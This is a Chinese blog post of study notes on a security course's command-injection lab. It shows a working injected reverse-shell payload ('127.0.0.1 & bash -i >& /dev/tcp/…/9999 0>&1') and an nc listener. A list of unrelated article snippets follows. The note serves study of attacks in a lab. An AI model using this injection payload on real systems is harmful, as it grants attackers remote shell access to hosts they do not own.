命令执行简单（棱角社区有毒）
前言：小迪安全2022第一节反弹shell，小迪用的是两台都是云服务器，没有服务器可以在自己的主机上搭建也是可以的，主机上搭两个网站
思路：生成一个木马文件，下载到本机，然后利用本机上传到目标主机，执行反弹命令。
但是现在这个可以用bash反弹，在centos里面
正题：
在棱角社区，找到反弹shell
这个是写在被攻击机上的，写了这个就会将目标的控制台，返回到以下 bash -i >& /dev/tcp/127.0.0.1/8080 0>&1（错误）
127.0.0.1 & bash -i >& /dev/tcp/192.168.1.150/9999 0>&1（正确）
然后在攻击机上监听上这个端口，监听本地端口的8080
nc64.exe -lvvp 9999 //注意加地址好像会监听失败
做的过程中的问题
在本地监听9999端口，然后在被攻击机上发送对方的控制台给我的本机，
但是结果失败了。
127.0.0.1 & bash -i >& /dev/tcp/192.168.1.150/9999 0>&1（正确）
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1（错误）
相关文章：
命令执行简单（棱角社区有毒）
前言：小迪安全2022第一节反弹shell，小迪用的是两台都是云服务器，没有服务器可以在自己的主机上搭建也是可以的，主机上搭两个网站 思路：生成一个木马文件，下载到本机，然后利用本机上传到目标主机…...
Keil基于ARM Compiler 5的工程迁移为ARM Compiler 6的工程
环境： keil版本为5.38，版本务必高于5.30 STM32F4的pack包版本要高于2.9 软件包下载地址：https://zhuanlan.zhihu.com/p/262507061 一、更改Keil中编译器 更改后编译，会报很多错，先不管。 二、更改头文件依赖 观察…...
Kafka-创建topic源码
一、命令创建topic kafka-topics --create --topic quickstart-events --bootstrap-server cdh1:9092 --partitions 2 --replication-factor 2 二、kafka-topics脚本 exec $(dirname $0)/kafka-run-class.sh org.apache.kafka.tools.TopicCommand "$" 脚本中指定了…...
【网络安全】(一) 0成本添加访问级监控
互联网的安全感这个概念源于阿里。顾名思义，让互联网的用户对于web产品能够产生足够的信任和依赖。特别是涉及到用户资金交易的站点，一次严重的用户资料泄露就可以彻底毁掉你的品牌。 然而当前阶段除了bat大部分互联网行业的企业对于网络安全给的重视都…...
【Three.js基础学习】26. Animated galaxy
前言 shaders实现星系 课程回顾 使用顶点着色器为每个粒子设置动画 a属性 ， u制服 ，v变化 像素比：window.devicePixelRatio 自动从渲染器检索像素比 renderer.getPixelRatio() 如何尺寸衰减， 放大缩小视角时，粒子都是同…...
vscode使用ssh配置docker容器环境
1 创建容器，并映射主机和容器的指定ssh服务端口 2 进入容器 docker exec -it <容器ID> /bin/bash 3在容器中安装ssh服务 apt-get update apt-get install openssh-server 接着修改ssh文件信息,将容器的10008端口暴露出来允许root用户使用ssh登录 vim /…...
NLP论文速读（EMNLP 2024）|动态奖励与提示优化来帮助语言模型的进行自我对齐
论文速读|Dynamic Rewarding with Prompt Optimization Enables Tuning-free Self-Alignment of Language Models 论文信息： 简介: 本文讨论的背景是大型语言模型（LLMs）的自我对齐问题。传统的LLMs对齐方法依赖于昂贵的训练和人类偏好注释&am…...
【LeetCode】167. 两数之和 II - 输入有序数组
描述 给定一个下标从 1 开始的整数数组numbers，该数组已按非递减顺序排列，请从数组中找出满足相加之和等于目标数target的两个数。如果这两个数分别是numbers[index1]和numbers[index2]，返回整数数组[index1, index2]。 只存在唯一答案&#…...
Getx：GetxController依赖管理02，Binding绑定全局控制器（懒加载Controller）
在使用GetX 状态管理器的时候，如果每个页面都手动实例化一个控制器就太麻烦了， Binding 的作用就是所有需要进行状态管理的控制器进行统一初始化 创建全局控制器Binding import package:get/get.dart; import ../controllers/counter.dart; // 同上一篇内…...
leetcode 找不同
389. 找不同 已解答 简单 相关标签 相关企业 给定两个字符串 s 和 t ，它们只包含小写字母。 字符串 t 由字符串 s 随机重排，然后在随机位置添加一个字母。 请找出在 t 中被添加的字母。 示例 1： 输入：s "abcd"…...
2025 - 生信信息学 - GEO数据分析 - RF分析（随机森林）
GEO数据分析 - RF分析（随机森林） 01 准备数据文件 #install.packages("randomForest")#引用包 library(randomForest) set.seed(123456)inputFile"diffGeneExp.txt" #输入文件 setwd("/Users/wangyang/Desktop/BCBM/02ra…...
Matlab深度学习（四）——AlexNet卷积神经网络
网络搭建参考：手撕 CNN 经典网络之 AlexNet（理论篇）-CSDN博客 在实际工程应用中，构建并训练一个大规模的卷积神经网络是比较复杂的，需要大量的数据以及高性能的硬件。如果通过训练好的典型网络稍加改进…...
etcd defrag
场景 prometheus监控告警，告警信息如下 etcd cluster "kube-etcd": database size in use on instance xx is 33.45% of the actual allocated disk space, please run defragmentation (e.g. etcdctl defrag) to retrieve the unused fragmented disk space.处理…...
golang语言整合jwt+gin框架实现token
1.下载jwt go get -u github.com/dgrijalva/jwt-go2.新建生成token和解析token文件 2.1 新建common文件夹和jwtConfig文件夹 新建jwtconfig.go文件 2.2 jwtconfig.go文件代码 /* Time : 2021/8/2 下午3:03 Author : mrxuexi File : main Software: GoLand */ package jwtC…...
数据治理、数据素养和数据质量管理：文献综述
注意：这并不是正式发表的论文，只是一篇用来交作业的文章 摘要 随着数据时代的到来，数据治理、数据素养和数据质量管理成为组织数据管理中的三大核心概念。本文基于相关研究与实践，对这三个领域进行全面综述，探讨它…...
【Linux】用户和用户组管理
管理用户 1．添加用户账号——useradd命令 【实例2-1-1】 按系统默认配置添加指定用户账号st和stu。 # 添加用户账号st [rootlocalhost ~]# useradd st # 添加用户账号stu [rootlocalhost ~]# useradd stu【实例2-1-2】添加用户账号stu01，UID为1004&am…...
游戏引擎学习第16天
视频参考:https://www.bilibili.com/video/BV1mEUCY8EiC/ 这些字幕讨论了编译器警告的概念以及如何在编译过程中启用和处理警告。以下是字幕的内容摘要： 警告的定义：警告是编译器用来告诉你某些地方可能存在问题，尽管编译器不强制要求你修复…...
如何通过对敏捷实践的调整，帮助远程团队提升研发效能？
首先明确一点，最敏捷的做法就是不要远程团队或分布式团队，远程一定比不上面对面同一地点的模式，毕竟环境不同，就不要期望远程团队和本地团队具备相同的效能，甚至期望更高。 那么，无论何种原因，…...
Ubuntu Linux使用前准备动作 配置SSH
在 Ubuntu 系统中配置 SSH 服务可以通过以下步骤进行： 1、安装ssh服务 1）打开终端（可以使用快捷键 Ctrl Alt T）。 2）运行以下命令安装 OpenSSH 服务器： sudo apt-get update：这一步是更新…...
疫情下的图书馆管理系统：Spring Boot技术
摘要 随着信息技术在管理上越来越深入而广泛的应用，管理信息系统的实施在技术上已逐步成熟。本文介绍了疫情下图书馆管理系统的开发全过程。通过分析疫情下图书馆管理系统管理的不足，创建了一个计算机管理疫情下图书馆管理系统的方案。文章介绍了疫情下图…...
KeyboardChatterBlocker：拯救老旧机械键盘的免费开源防连击工具
KeyboardChatterBlocker：拯救老旧机械键盘的免费开源防连击工具 【免费下载链接】KeyboardChatterBlocker A handy quick tool for blocking mechanical keyboard chatter. 项目地址: https://gitcode.com/gh_mirrors/ke/KeyboardChatterBlocker 你是否遇到过…...
人工智能【第22篇】Seq2Seq模型与注意力机制：机器翻译的基石
作者的话：在前面的文章中，我们学习了RNN、LSTM以及NLP的基础知识。现在让我们进入NLP的核心应用——机器翻译。Seq2Seq（Sequence to Sequence）模型是机器翻译的基石，而注意力机制（Attention）的出…...
Java 100 天进阶之路 | 从入门到上岗就业 · 完整目录导航
📚 Java 100 天进阶之路 | 从入门到上岗就业 完整目录导航 不背八股文，不堆概念。44篇基础56篇进阶，100天助你达到Java就业水平，从容面对技术面试。 零差评Java教程，从入门到微服务，每篇都有代码、避坑和面…...
Java基础全套教程（三）—— 控制语句、方法、递归算法
Java基础全套教程（三）—— 控制语句、方法、递归算法 本章是Java编程从基础语法走向逻辑编程的核心转折点。前面我们学习了变量、数据类型、运算符，只能实现简单的顺序执行代码。而真正的程序，需要具备判断能力、重复执行能力、代…...
从零到一：PyQt-Fluent-Widgets导航组件实战指南
从零到一：PyQt-Fluent-Widgets导航组件实战指南 【免费下载链接】PyQt-Fluent-Widgets A fluent design widgets library based on C Qt/PyQt/PySide. Make Qt Great Again. 项目地址: https://gitcode.com/gh_mirrors/py/PyQt-Fluent-Widgets 你是否曾经为P…...
如何一次性解决Windows系统DLL缺失问题：VisualCppRedist AIO终极指南
如何一次性解决Windows系统DLL缺失问题：VisualCppRedist AIO终极指南 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经在安装新游戏或软件时…...
Degrees of Lewdity中文本地化技术解析：从安装到优化的实践指南
Degrees of Lewdity中文本地化技术解析：从安装到优化的实践指南 Degrees of Lewdity作为一款备受欢迎的游戏，其英文界面一直是中文用户体验的主要障碍。本文提供的Degrees of Lewdity中文本地化技术解析，将系统指导您完成游戏汉化的全过程&a…...
Vibe Annotations：AI编程时代的视觉反馈工具，精准沟通前端修改意图
1. 项目概述：一个为AI编程时代量身定制的视觉反馈工具如果你和我一样，每天都在和AI编程助手（比如Cursor、Claude Code）打交道，那你肯定遇到过这个痛点：想让它帮你改一个网页按钮的颜色，或者调整…...
搞懂这6个人工智能核心概念，再也不会被行业黑话难住
文章目录前言一、大模型（LLM）：读遍天下书的超级学霸1. 到底什么是大模型？2. 大模型的“超能力”与“致命缺陷”二、微调（Fine-tuning）：给学霸补专业课1. 微调到底在调什么？2. 2026年…...
做定制开发的定制软件开发公司平台
在数字化转型浪潮下，“定制软件开发”几乎成了每一家力图通过技术构建壁垒的企业的必选项。然而，一个令人尴尬的现实是：很多企业在数字化上砸了重金，不仅没换来效率，反而陷入了“开发超预算、交付总延期、上线全是坑”…...